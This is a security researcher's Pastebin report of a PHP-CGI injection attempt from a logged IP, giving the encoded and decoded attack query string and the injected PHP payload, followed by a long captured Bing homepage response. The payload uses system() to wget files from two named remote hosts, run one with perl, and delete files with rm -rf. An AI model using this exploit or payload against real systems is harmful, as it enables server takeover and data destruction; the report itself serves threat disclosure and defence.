Neonprimetime

PHP Injection Attempt: 198.154.63.131, svgold.ru, escoladera

Feb 2nd, 2015
1,084
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 99.90 KB | None | 0 0
  1. PHP Injection Attempt
  2. Reported by neonprimetime security
  3. http://neonprimetime.blogspot.com
  4.  
  5. ****
  6.  
  7. Source IP: 198.154.63.131
  8.  
  9. Payloads:
  10.         198.154.63.131
  11.     hxxp://svgold.ru/sekip/sekip.php
  12.     hxxp://escoladeradio.com.br/website/wp-content/themes/radio/includes/new.txt
  13.  
  14. ****
  15.  
  16.         POST //%63%67%69%2D%62%69%6E/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E
  17.  
  18.  
  19. ****
  20.  
  21. Decoded
  22.     //cgi-bin/php?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -d auto_prepend_file=php://input -n
  23.  
  24. *****
  25.  
  26. Content
  27.         <? system("cd /tmp;wget http://svgold.ru/sekip/sekip.php;wget http://escoladeradio.com.br/website/wp-content/themes/radio/includes/new.txt;perl new.txt;rm -rf new.txt;rm -rf new.txt.*;rm -rf *"); ?>
  28.  
  29. *****
  30. content of  hxxp://svgold.ru/sekip/sekip.php    
  31.  
  32. |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
  33. ===========================================================================================
  34. http://svgold.ru/sekip/sekip.php (51.91%)
  35. ===========================================================================================
  36. |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
  37.  
  38. GET / HTTP/1.1
  39. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  40. Accept-Language: en-us,en;q=0.5
  41. Connection: keep-alive
  42. Keep-Alive: 115
  43. Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
  44. DNT: 1
  45. User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:24.0) Gecko/20100101 Firefox/24.0
  46. Host: www.bing.com
  47.  
  48.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      
  49.  
  50. HTTP/1.1 200 OK
  51. Cache-Control: private, max-age=0
  52. Transfer-Encoding: chunked
  53. Content-Type: text/html; charset=utf-8
  54. Vary: Accept-Encoding
  55. Server: Microsoft-IIS/8.5
  56. P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND"
  57. Set-Cookie: _FS=NU=1; domain=.bing.com; path=/
  58. Set-Cookie: _SS=SID=6B3509BC90BD4153AB4D20E04AD6AD4B; domain=.bing.com; path=/
  59. Set-Cookie: SRCHD=AF=NOFORM; expires=Wed, 01-Feb-2017 21:52:05 GMT; domain=.bing.com; path=/
  60. Set-Cookie: SRCHUID=V=2&GUID=D4B2B242B79C43AA865E1F0C7EB3895E; expires=Wed, 01-Feb-2017 21:52:05 GMT; path=/
  61. Set-Cookie: SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20150202; expires=Wed, 01-Feb-2017 21:52:05 GMT; domain=.bing.com; path=/
  62. Edge-control: no-store
  63. X-MSEdge-Ref: Ref A: 9A5CC57BDADC40D387E8800E9462F687 Ref B: 596F981958FDAF5966F35DF37286B6AF Ref C: Mon Feb 02 13:52:05 2015 PST
  64. Set-Cookie: _EDGE_S=F=1&SID=10FEDDA5E2C5683C2F82DAE7E3EE6930; path=/; httponly; domain=bing.com
  65. Date: Mon, 02 Feb 2015 21:52:04 GMT
  66.  
  67.                                                  
  68. -------------------------------------------------------------------------------------------
  69.  
  70. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml"><script type="text/javascript">//<![CDATA[
  71. si_ST=new Date;
  72. //]]></script><head><meta content="text/html; charset=utf-8" http-equiv="content-type" /><script type="text/javascript">//<![CDATA[
  73. sb_gh=function(){return location.hash},sb_sh=function(n){location.hash=n};function _ge(n){return _d.getElementById(n)}_w=window,_d=document,sb_de=_d.documentElement,sb_ie=!!_w.ActiveXObject,sb_i6=sb_ie&&!_w.XMLHttpRequest,sb_st=_w.setTimeout,sb_ct=_w.clearTimeout,sb_gt=function(){return+new Date};sj_evt=new function(){function i(t){return n[t]||(n[t]=[])}var n={},t=this;t.fire=function(n){for(var r=i(n),u=r.e=arguments,t=0;t<r.length;t++)r[t].d?sb_st(sj_wf(r[t],u),r[t].d):r[t](u)},t.bind=function(n,t,r,u){var f=i(n);t.d=u,f.push(t),r&&f.e&&t(f.e)},t.unbind=function(t,i){for(var r=0,u=n[t];u&&r<u.length;r++)if(u[r]==i){u.splice(r,1);break}}};_G={ST:(si_ST?si_ST:new Date),Mkt:"en-US",RTL:false,Ver:"9_00_0_3655869",IG:"e2b16184733e45cb80b536510103e4ee",EventID:"9a5cc57bdadc40d387e8800e9462f687",V:"homepage",P:"SERP",DA:"CH1v2",CID:"230271727A9764AA324876307BBC6552",SUIH:"_Be-nHhDeqOPvmqaZkLBhQ",IP:"6753251",gpUrl:"\/fd\/ls\/GLinkPing.aspx?"};_G.lsUrl="/fd/ls/l?IG="+_G.IG+"&CID="+_G.CID;curUrl="http:\/\/www.bing.com\/";function si_T(a){if(document.images){_G.GPImg=new Image;_G.GPImg.src=_G.gpUrl+'IG='+_G.IG+'&CID='+_G.CID+'&'+a;}return true;};
  74. //]]></script><script type="text/javascript">//<![CDATA[
  75. function sj_wf(n){var t=arguments;return function(){n.apply(null,[].slice.apply(t).slice(1))}};function sj_be(n,t,i,r){if((n==_w||n==_d.body)&&t=="load"&&"undefined"!=typeof _d.readyState&&"complete"===_d.readyState){i();return}n.addEventListener?n.addEventListener(t,i,r):n.attachEvent?n.attachEvent("on"+t,i):n["on"+t]=i}function sj_ue(n,t,i,r){n.removeEventListener?n.removeEventListener(t,i,r):n.detachEvent?n.detachEvent("on"+t,i):n["on"+t]=null};function si_ct(n,t){var r="getAttribute",u,i,f;try{for(;n!==_d.body;n=n.parentNode){if(u=n.tagName=="A"&&n[r]("h")||n[r]("_ct"),u){i=n[r]("_ctf"),i&&_w[i]||(i="si_T"),_w[i]&&_w[i]("&"+u);break}if(t)break}}catch(e){}return!0}(function(){sj_be(_d,"mousedown",function(n){si_ct(sb_ie?event.srcElement:n.target)},0)})();function sf_fbPce(n){sj_evt.fire("xd:fba:proxyCheck",n)};function sj_ce(n,t,i){var r=_d.createElement(n);return t&&(r.id=t),i&&(r.className=i),r};function sj_gx(){return sb_i6?new ActiveXObject("MSXML2.XMLHTTP"):new XMLHttpRequest};function sj_pd(n){sb_ie?event.returnValue=!1:n.preventDefault()};function sj_go(n,t,i){for(var r=0;n.offsetParent&&n!=(i||sj_b);)r+=n["offset"+t],n=n.offsetParent;return r};function sj_we(n,t,i){while(n&&n!=(i||sj_b)){if(n==t)return!0;n=n.parentNode}return!1};function sj_so(n,t){n.style.filter=t>=100?"":"alpha(opacity="+t+")",n.style.opacity=t/100};_w.sched=_w.sched||function(){function r(t){n.push(t)}function u(n){return function(){_w.sched.schedule(n)}}function f(n){t.push(n)}function e(n,t){i[n]=t}var n=[],t=[],i={};return{register:r,wrapSchedule:u,schedule:f,reportCustomMetric:e,_ns:n,_reg:t,_cm:i}}();function sj_anim(n){var t=this,s,u,h,e,r,f,c,i,o;t.init=function(n,e,h,l,a){s=n,r=e,f=h,c=l,o=a,i||(i=r),u||t.start()},t.start=function(){h=sb_gt(),e=Math.abs(f-r-i)/c*25,u=setInterval(t.next,25)},t.stop=function(){clearInterval(u),u=0},t.next=function(){var u=sb_gt()-h;i=r+(f-r)*u/e,u>=e&&(t.stop(),i=f,o&&o()),n(s,i)}};function sj_fader(){return new sj_anim(function(n,t){sj_so(n,t)})};Log=new function(){function y(i,f,s,h,c){var p="",y,v,l;if(c)for(y=0;y<c.length;y+=2)v=c[y],l=c[y+1],(typeof v!="string"||v[o]('"')<0)&&(v='"'+v+'"'),typeof l=="string"&&l[o]("{")<0&&l[o]('"')<0&&(l='"'+l+'"'),p+=n(v+":"+l+",");p+='"T":"CI.'+i+'",'+(typeof f=="number"?'"K":'+f:'"FID":"'+f+'"')+',"Name":"'+s+'","TS":'+sb_gt(),a[e]+r[e]+p[e]>=2048&&t(),r+=(u?",":"")+n("{")+p+n("}"),u=1,h&&t()}function t(){f&&sb_ct(f),u&&(i.ping.src=l+a+r+n("]"),u=0,r=n("[")),f=sb_st(t,h)}var i=this,n=escape,e="length",o="indexOf",s="apply",h=2e3,r=n("["),u=0,c=0,f,l="",a=_G.lsUrl+"&TYPE=Event.ClientInst&DATA=",v=location.hostname.match(/([^.]+\.[^.]*)$/);v&&(l="http://a4."+v[0]),i.ping=new Image,i.Log=function(n,i,r,u){c||(y("Init","CI","Base",!1),f=sb_st(t,h),c=1,sj_be(_w,"beforeunload",t,!1)),y(n,i,r,u,[].slice.apply(arguments).slice(4))},i.Wrap=function(n,t,i,r){var u=n[t];n[t]=function(){var n=arguments,e,t,f;if(r&&i[s](this,n),e=u[s](this,n),!r){for(t=[],f=0;f<n.length;f++)t.push(n[f]);t.push(e),i[s](this,t)}return e}}};function sj_jb(n,t){function e(n,t,i,r){i&&sj_ue(i,r,e),sj_evt.bind("onP1",function(){if(!n.l){n.l=1;var i=sj_ce("script");i.src=(t?"/fd/sa/"+_G.Ver:"/sa/"+_G.AppVer)+"/"+n.n+".js",sj_b.appendChild(i)}},1,5)}for(var r=arguments,u,f,i=2,o={n:n};i<r.length;i+=2)u=r[i],f=r[i+1],sj_be(u,f,sj_wf(e,o,t,u,f));i<3&&e(o,t)};function sj_ev(n){return sb_ie?event:n}function sj_et(n){return sb_ie?event.srcElement:n.target}function sj_mi(n){return sb_ie?event.fromElement:n.relatedTarget}function sj_mo(n){return sb_ie?event.toElement:n.relatedTarget};function sj_sp(n){sb_ie?n.cancelBubble=!0:n.stopPropagation()};var sw_={insertShareToggle:function(n,t,i){var r,u,e,f,o,h,s;n!=null&&(r=_ge("sb_form_q"),r&&(u=r.parentNode,u&&(n.style.position="absolute",e=r.offsetWidth,f="px",n.style.right=u.offsetWidth-e+3+f,u.appendChild(n),o=t&&n.offsetWidth==0?t:n.offsetWidth,h=i&&n.offsetHeight==0?i:n.offsetHeight,n.style.top=(u.offsetHeight-h)/2+f,s=r.style,s.width=e-o-20+f,s.marginRight=o+6+f)))},isNarrow:function(){return sb_de.clientWidth<1140}};function lb(){function e(n){i=n[1],u.unbind(f,e)}var u=sj_evt,f="onSbBusy",i,n,r,t;for(u.bind(f,e,1),n=1;n<4;++n)r="sb_form"+(n>1?n:""),t=_ge(r),!t||i&&_ge(r+"_q")==i||!t.reset||t.reset();_w.si_sendCReq&&sb_st(si_sendCReq,800),_w.lbc&&lbc()}function init(){}(function(){var n=sj_evt,t="onSbBusy",i=null;n.bind(t,function(){sb_ct(i),i=sb_st(sj_wf(n.fire,"onSbIdle"),1100)}),sj_be(_d,"keydown",function(i){n.fire(t,sj_et(i))})})(),sj_evt.bind("onHTML",function(){var n=_ge("sb_form");n&&sj_be(n,"submit",sj_wf(sj_evt.fire,"onSearch",n))});
  76. //]]></script><link href="http://www.bing.com/" rel="canonical" /><style type="text/css">html{overflow:auto}a,body{font-family:"Segoe UI",Segoe,Tahoma,Arial,Verdana,sans-serif;font-size:small;text-decoration:none}a:hover{text-decoration:underline}ul{padding:0}html,body,#hp_table,#hp_cellCenter{height:100%;width:100%;border-collapse:collapse;margin:0;padding:0;background-color:#333;border:0}#hp_cellCenter{vertical-align:middle;overflow:hidden}#hp_sw_hdr{position:absolute;top:0;width:100%}#sc_hdu{position:absolute;top:0;height:35px;line-height:35px;bottom:0;left:0}#sc_hdu li{zoom:1;display:inline}#sc_hdu li a{vertical-align:middle;line-height:35px!important;display:inline-block}#hp_bottomCell{position:absolute;bottom:0;width:100%}#hp_container{min-width:1115px;max-width:1366px;width:100%;min-height:599px;max-height:768px;height:100%;position:relative;margin:auto}*+html #hp_container{overflow:hidden}table,td{border-spacing:0;border:0;padding:0}#bgDiv{position:absolute;top:0;overflow:hidden;width:100%;height:100%;background-repeat:no-repeat;background-color:#666;-webkit-background-size:cover;-moz-background-size:cover;-o-background-size:cover;background-size:cover}.hp_text,.sc_pc li a,#sb_foot,#sb_foot li a,ul.hp_head_nav li a{font-weight:400}.hp_text{font-size:13px}#sb_foot,#hp_sw_hdr{height:35px;background-color:#333;z-index:9;width:100%;position:relative;border:0;padding:0}#sc_hdu div,.sw_tb h3.sc_hl1,.sw_tb li{display:inline}#sw_footL,#sw_footL a{color:#666}#sw_footL #sb_feedback{color:#999}#sb_foot a,#sb_foot span{margin:0 10px;zoom:1}#sb_foot{overflow:hidden}#sw_footL{margin:0;padding:0;text-align:right;position:absolute;right:20px;white-space:nowrap}#sw_footL li{line-height:32px;height:32px;display:inline;zoom:1}.sw_tb{padding:0;width:100%;height:35px;margin:0;font-size:13px}.sw_tb ul{margin:0;padding:0}.sw_tb ul.sc_hl1 li a{zoom:1}.sc_pc{top:25px!important}#hdr_spl{margin:0 15px;color:#acacac}#hp_sw_hdr ul li a:hover{text-decoration:none;color:#fff}#hp_sw_hdr li.sc_active{font-weight:700;border-left:solid 1px #a8b1b7;border-right:solid 1px #a8b1b7;margin:0;border:none}#hp_sw_hdr li.sc_active>a{color:#ffa615}ul.hp_head_nav{padding-left:3px}ul.hp_head_nav li a{margin-left:15px;margin-right:15px;color:#acacac}ul.hp_head_nav>li>a{text-transform:uppercase}.sh_hst{position:absolute;z-index:4;visibility:hidden}.sh_hto{width:39px;height:39px;opacity:.4;filter:alpha(opacity=40);background:#000;padding:1px}.sh_hto div{height:37px;width:37px;border:1px solid #fff;float:left}a.sh_hs{color:#fff;text-decoration:none;position:absolute;display:block;cursor:pointer;z-index:6;line-height:1.4em;width:205px;padding:3px 8px 6px;visibility:hidden}a.sh_hs:hover{text-decoration:none}a.sh_hs p,a:visited.sh_hs p{margin:0 0 .2em}.sh_hq{text-decoration:underline}.sh_hi{display:inline;font-size:medium;color:#ffa500}.sh_ho{width:100%;position:absolute;top:0;left:0;z-index:-1;opacity:.6;filter:alpha(opacity=60);padding:1px;background:#000}.sh_ho div{border:1px solid #fff}#hp_tbar,#hp_bk{display:none}#thp_notf_div{position:fixed}.hidden{display:none!important}#hp_sw_hdr .sw_mktsw{position:relative;display:none;top:0}#hp_sw_hdr .sw_mktsw a,#hp_sw_hdr .sw_mktsw span{color:#999;margin:0 10px 0 9px;height:35px;line-height:35px}#hp_id_hdr #dhp{color:#acacac;position:relative;float:right;bottom:0;display:block;visibility:hidden;padding-left:5px;padding-right:30px;height:16px;line-height:100%;top:13px}#hp_container .sa_as,#hp_container .pp_tile{border-color:#e5e5e5}.hpcBkP,.hpcLogoWhite,.hpcNext,.hpcCopyInfo,.hpcPlay,.hpcPause,.hpcPrevious,.hpcFull,.hpcSmall,.sw_qbtn,.hpcExpand,.hpcClose,.hpcDown,.pref,.img_uparrow,.img_rwds_sml,.img_downarrow,.hpcCaroNavRight,.hpcCaroNavLeft,.sw_qbtn,.wpbClose{background:transparent url(/s/a/hpc12.png) no-repeat;overflow:hidden}.hpcNext,.hpcCopyInfo,.hpcPlay,.hpcPause,.hpcPrevious,.hpcFull,.hpcSmall,.hpcDown{width:32px;height:32px}.hpcLogoWhite{background-position:0 0;margin:-7px 21px 0 0;width:132px;height:52px}.hpcNext{background-position:-160px -53px}.hpcCopyInfo{background-position:-64px -85px}.hpcPlay{background-position:0 -85px}.hpcSmall{background-position:-64px -53px}.hpcDown{background-position:0 -53px}.hpcFull{background-position:-32px -53px}.hpcPause{background-position:-32px -85px}.hpcPrevious{background-position:-192px -53px}.sw_qbtn{background-position:-224px -53px}.hpcCaroNavLeft,.hpcCaroNavRight{position:absolute;width:17px;height:26px}.hpcCaroNavRight{background-position:-222px -27px}.hpcCaroNavLeft{background-position:-205px -27px}.hpcExpand,.hpcClose{width:32px;height:32px}.hpcExpand{background-position:-128px -53px}.hpcClose{background-position:-96px -53px}.pref:hover{background-position:-187px -18px}.pref{background-position:-169px -18px;width:18px;height:18px}.img_uparrow{background-position:-174px -36px;width:20px;height:12px!important}.img_rwds_sml{background-position:-167px 0;width:18px;height:18px!important}.img_downarrow{background-position:-165px -36px;width:9px;height:6px}.hpcBkP{overflow:hidden;width:74px;height:32px;cursor:pointer;background-position:-96px -85px}.hpcBkP:hover{background-position:-171px -85px}.wpbClose{width:16px;height:16px;background-position:-132px -36px}.wpbClose:hover{background-position:-148px -36px}b{padding:0}@media only screen and (min-height:806px)and (orientation:landscape),screen and (min-width:1433px)and (orientation:landscape){#hp_container,#bgDiv,#hp_vidwrp,#vid{max-height:1080px;max-width:1920px}#vid{min-width:100%;min-height:100%;width:auto;height:auto}#hp_tbar{max-width:1920px!important}#sc_mdCrs{width:100%!important}}.hp_sw_logo{float:left;text-indent:-20em}.sw_sform{position:absolute;top:20%;left:8%;width:1028px;margin:0;z-index:9}body .b_searchboxForm .b_searchboxSubmit{height:37px;width:37px;border:5px solid #ffb900;background:#ffb900 url(/s/a/hpc12.png) no-repeat;background-position:-224px -53px;vertical-align:top;margin:-2px 0 3px}*+html .b_searchboxSubmit{color:#010101;filter:progid:DXImageTransform.Microsoft.Chroma(color=#000000)}body .b_searchbox{border-right:0;margin-left:6px;padding-right:4px}body .b_searchboxForm{border:1px #e5e5e5 solid;padding:5px 3px 0}body .beta,body .beta a{color:#bbb}.beta{position:absolute;top:45px;left:54px;width:55px;height:18px;overflow:hidden}.beta a{font-size:12px}#sw_clx{position:absolute;right:40px;padding:12px;cursor:pointer}.sw_tpcbk{background-position:-176px -32px;height:10px;width:10px;background-image:url(/sa/simg/sw_mg_l_4c.png);background-repeat:no-repeat}.sw_meIc,.sw_spd,.sw_spr,.sw_pref,.idp_fb,.idp_wlid,.idp_tw{background-image:url(/sa/simg/sw_mg_l_4d_bo.png);background-repeat:no-repeat}.sw_pref,.idp_fb,.idp_wlid,.idp_tw{background-position:-485px 0;height:16px;width:16px}.sw_pref:hover,.sw_pref:active,.sw_pref:focus{background-position:-503px 0}.idp_fb{background-position:-298px -22px}.idp_wlid{background-position:-384px 0}.idp_tw{background-position:-645px 0}.sw_meIc,.sw_spr,.img_rwds_sml{background-position:-521px 0;height:16px;width:16px}#spcv .sw_meIc,.rigleamon .sw_meIc{background-position:-557px 0}.gleamon .sw_meIc{background-position:-627px 0}.gleamoff .sw_meIc{background-position:-609px 0}.sw_spd{background-position:-341px 0;height:20px;width:20px}.b_searchboxForm{background-color:#fff}.sw_pref{border-color:#333}.id_button,.id_button:visited{color:#777}.id_button:hover,.b_idOpen a#id_l,a#bep.openfo,a#id_rh.openfo{color:#777;background-color:#eee}.b_idOpen #id_l{background-color:#eee}input{font:inherit;font-size:100%}.b_searchboxForm{font:18px/normal 'Segoe UI',Arial,Helvetica,Sans-Serif}.id_button{line-height:40px}h2 a,a:hover{text-decoration:underline}a,#id_h a,#id_h a:hover,.b_toggle,.b_toggle:hover{text-decoration:none}.b_searchboxForm,#id_h .id_button,.id_avatar,.rwds_bep_head,.sw_pref{display:inline-block}.b_searchboxForm{position:relative}.b_searchbox{width:490px;margin-top:2px;margin-right:0;margin-bottom:3px;margin-left:12px;border:0;padding-top:0;padding-right:10px;padding-bottom:0;padding-left:0;max-height:30px;outline:none;-webkit-appearance:none;border-right:1px solid;border-color:#ccc;box-sizing:content-box;position:relative;height:40px}.b_searchboxSubmit{text-indent:-99em;position:static;right:0;top:0;cursor:pointer}#id_h{display:none;position:absolute;top:0;width:300px;height:40px;text-align:right;z-index:1}.b_twoColOnly{vertical-align:top}#id_l,.id_button{padding:0 10px}#bepfo,#bepfo iframe,#bepfl{width:372px}#bepfl{text-align:center;margin:50px 0}#id_d,#bepfo{position:absolute;z-index:6;text-align:left;color:#000;background-color:#fff;border:1px solid #ccc;border-top-width:0}.b_idOpen #id_d{display:block;padding:11px 0 5px}#sw_tfbb,#id_d{display:none}.sw_pref{border-style:solid;border-width:7px 0 7px 10px;vertical-align:bottom}#id_h{background-color:transparent!important;position:relative!important;float:right;height:35px!important}#bep.bepoff{display:none}#bep .bepcnt{vertical-align:top}.sw_pref{margin:0 15px 3px 0}#id_d{left:auto;right:26px;top:35px!important}.id_avatar{vertical-align:middle;margin:10px 0 10px 10px}#id_d h2{font-size:18px;font-weight:normal;margin:0}.id_button{line-height:35px!important;vertical-align:top}.id_button:hover,a#bep.openfo,a#interestsiconlink.openfo,a#id_rh.openfo{background-color:transparent!important}.b_idOpen #id_l,.openfo #id_rc{color:#fff!important;background-color:#333!important}.sw_tb a:hover{color:#fff!important;text-decoration:none}.sw_tb div.idp_fb,.sw_tb div.idp_wlid{height:16px!important}#id_d a:hover{color:#1020d0!important}#id_h .b_hide{display:none!important}#bepfo{position:relative;left:-100px;top:-3px;border:none}#interestsFlyout{position:absolute!important;left:-190px!important;top:35px!important;border:none!important;min-height:110px}@media(max-width:1040px){#interestsFlyout{left:-145px!important}}#interestsiconlink{margin-top:10px}.b_cm{background-image:url(/sa/simg/sw_mg_l_4d_bo.png);background-repeat:no-repeat;background-position:-433px -32px;height:12px;width:12px;display:inline-block}.rwds_bep_head{margin:12px 0 0 6px!important}#sc_hdu div.rms_office_launch_sprite.rms_office_launch{display:block}#officelink,#officelink>a{cursor:pointer}#officelink:hover .rms_office_launch{background-position:-15px 0}.sw_tb ul.om{padding:15px;width:320px;height:300px;z-index:9;display:none;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr=#B2000000,endColorstr=#B2000000);background-color:rgba(0,0,0,.7)}.om .itm_desc{line-height:normal;text-transform:none;width:70px}#sc_hdu .sc_pc .om li{float:left;width:80px;height:80px;text-align:center;padding:10px}.om li a{color:#acacac;text-decoration:none;font-family:Arial,Helvetica,sans-serif;cursor:pointer}.om li:hover a{color:#fff}.oms .oml_img{background-color:transparent;background-repeat:no-repeat;background-image:url(/s/a/hp_officemenu_sprite.png)}.oml_img{height:48px;width:48px;margin-left:auto;margin-right:auto;display:inline-block;overflow:hidden}#off_menu_cont{visibility:hidden}#officemenu_outlook_img{background-position:-245px 0}#officemenu_word_img{background-position:0 0}#officemenu_excel_img{background-position:-49px 0}#officemenu_powerpoint_img{background-position:-98px 0}#officemenu_people_img{background-position:-343px 0}#officemenu_calendar_img{background-position:-294px 0}#officemenu_onedrive_img{background-position:-147px 0}#officemenu_onenote_img{background-position:-196px 0}#hp_ctrls{height:60px;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}#sh_rdiv{position:absolute;right:40px;top:19px}#sh_rdiv a>div{position:relative;margin:0 5px}#sh_rdiv a{position:relative;float:left;display:block;text-decoration:none;cursor:default;outline:none}#sh_rdiv a:hover,#sh_rdiv a:hover span{visibility:visible}#sh_igl>div,#sh_igr>div,#sh_igf>div{visibility:hidden;cursor:pointer}#sh_rdiv .sc_lightdis div{cursor:default;opacity:.5;filter:alpha(opacity=30)}#hp_bottomCell{z-index:8!important}#sh_rdiv{z-index:6}#musCard{right:20px;position:absolute;display:none;width:260px;min-height:560px;top:-500px}#musCardContent{display:none;width:100%;height:auto;position:absolute;background-image:-webkit-gradient(linear,left top,left bottom,from(rgba(0,0,0,.6)),to(rgba(0,0,0,.6)));background-image:-moz-linear-gradient(rgba(0,0,0,.6) 0,rgba(0,0,0,.6) 100%);background-image:-ms-linear-gradient(rgba(0,0,0,.6) 0,rgba(0,0,0,.6) 100%);background-image:-o-linear-gradient(rgba(0,0,0,.6) 0,rgba(0,0,0,.6) 100%);background-image:linear-gradient(rgba(0,0,0,.6) 0,rgba(0,0,0,.6) 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#99000000',endColorstr='#99000000');padding-bottom:60px;padding-top:10px;bottom:0}#musCardContent,#musCardContent a{color:#ddd;font-family:Arial,Helvetica,Sans-Serif;font-size:13px}#musCardCopyright,#musCardImageTitle,#musCardActionLinks li div,#musCardContent a div{white-space:normal;overflow:hidden;text-overflow:ellipsis;-ms-text-overflow:ellipsis;word-wrap:break-word}#musCardDesc,#musCardImageTitle,#musCardCopyright{margin:0 10px}#musCardCopyright{padding:5px 10px 0 0}#musCardImageTitle{padding:5px 0}#musCardActionLinks{list-style:none;padding:0 0 10px 0;border-bottom:1px solid #fff;margin:0 20px}#musCardActionLinks li{padding:10px 0}.action-link-desc{padding-top:5px}#musCardCopyright,.action-link-desc{color:#aaa}#musCardImageTitle{color:#ddd;font-size:22px;font-weight:100;font-family:'Segoe UI Light','Segoe UI',Arial,Helvetica,Sans-Serif}#musCardImageTitle.reduced{font-size:18px}#DownloadHPImage.disabled{color:#757575}#DownloadHPImage.disabled,#musCardImageLink.empty{cursor:default;text-decoration:none}.hot_disable .sh_hst,.hot_disable .sh_hs,.hot_disable .sh_hst,.hot_disable .sh_hs{display:none!important}#hp_share_options{list-style:none;margin:0 10px;padding:0}#hp_share_options li,#hp_share_options li a{display:inline-block}#hp_share_options li a{text-align:center;padding:10px 5px 10px 10px}.rms_rmsanswersHomepageHomepageShareSprite{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAD4AAAAQCAYAAABOZ8wCAAADqUlEQVRYR52Xz0sUYRjH3c0sMrHsByWBUoImaIeCDnUyKiKosMLo4q2b9R8ERXTo2KWuip6SqDRNqFjCSxFRVBiVeeki/VYU1Nzt8333mV1nm5nd2S98mPd9fs08O++8s1MhZTKZ9W5QROl0uhX64BO8hxuwVT5q7GXcanGzsFwms6pRjriGKvIvwTjo+nphl7n9wrEGhmCfmQKF/wDMUNwnbB/gGTyHHRa7bO7YUq47YUyRuoHcEeUbS1ZvGposLC9823DMwQ84ZmafiFmL760KBQmf9IjhBcUzLrXxl3CW+MNwVQblupPGEGkbyXsC0hfohDYYspq9FpoXxi3w3Tsp3IQGczsx3wNpxYQJ9wiHDRZftHFiBl1xE/PTZo/VOCm15IwpDyaZt5hLNdX8EkyYyS8cuuiV+o1tALqhAQ6ZPVD49cNttnKlNl5nsR0wCq/NXnLjhCdAjddDFzSby4n5GdUjJmWmvDBW4jwC04z/E/YF0GMQesdxfYUaK1lq4y6e46iZnJTrihQRodrILoL2l88wCO3mVt1mmAKthB4z54VxO0zAz+yp44vcNxySVjKycXxaejPgNX7P5nPmL9o4YXqmveXtNjKQdIPq8LdwnHSWdPoh8ypL9QvnsE5arsjvt1JOzKMaH7Ywn7CfNH9k44So6acWO8XhFMcmuAb9oP3Ia/oxfrfvBApnI0HvVKwckXvCSjkxj2pcd2C1hercqzTHft78oY3j1ivL273VnJrUXqSmm/DrR9DylqKb9kTQQUhBXOmVVGllnDhpVOOSlqe31L13r9tDNHZFCoRLz7RiJbd7c9wEbv9BWu7e0te+UbxpiWD3i8eV8qxETjq5uUNFTK5xMzkp1xUpEPYe+UDv6dzuzbgdtLFpg9NG10OZ4Gc6TCRdgaIX7YnYPkv1qZQaxMRqHFdKPug0kxNz7d56ldUTUwsJc8UTiTspcptjpIjRsqu2NJ+we0suCq/x4QJ72B3Xm0fLuc1Msu0GrQDljXFZteYqqiQJ1aD/66KN5G7sR7PuYBEzwKErmUzOZS2BUgNhpBOJRIaj9BdW+sL0ghztJdd1naA7PwqNkMJ3Dv4wLk0U2A8P4JvuZJSI+agTMoxcTsToDujuLIagDwh9I9TA/ZV2CGweu15Z7k+WF2fk/irHkWtAFwEdDI+DPi21ZPTrLsAveAV3+UXHYZ5xpLgYfVquy85ia56V5B6DQlFXn5iXQV+Suq47XM8tWGQcQxUV/wBKeHOWWbzQRgAAAABJRU5ErkJggg==);display:inline-block;background-repeat:no-repeat;}.rms_rmsanswersHomepagehp_fb_share_img{height:16px;width:20px;background-position:-21px 0;}.rms_rmsanswersHomepagehp_twitter_share_img{height:16px;width:20px;}#sb_foot{_display:inline;_zoom:1}#sw_footL{margin:0;padding:0;position:absolute;right:20px;white-space:nowrap}#sw_footL a{color:#666}#sb_foot ul{display:block}#sb_foot li{display:inline}#sb_foot a,#sb_foot span{margin:0 10px}a #sb_feedback{color:#1020d0}#sw_ctfm{margin:15px 0 0 10px;float:left}#fbpgbt{z-index:1000000!important}</style><script type="text/javascript">//<![CDATA[
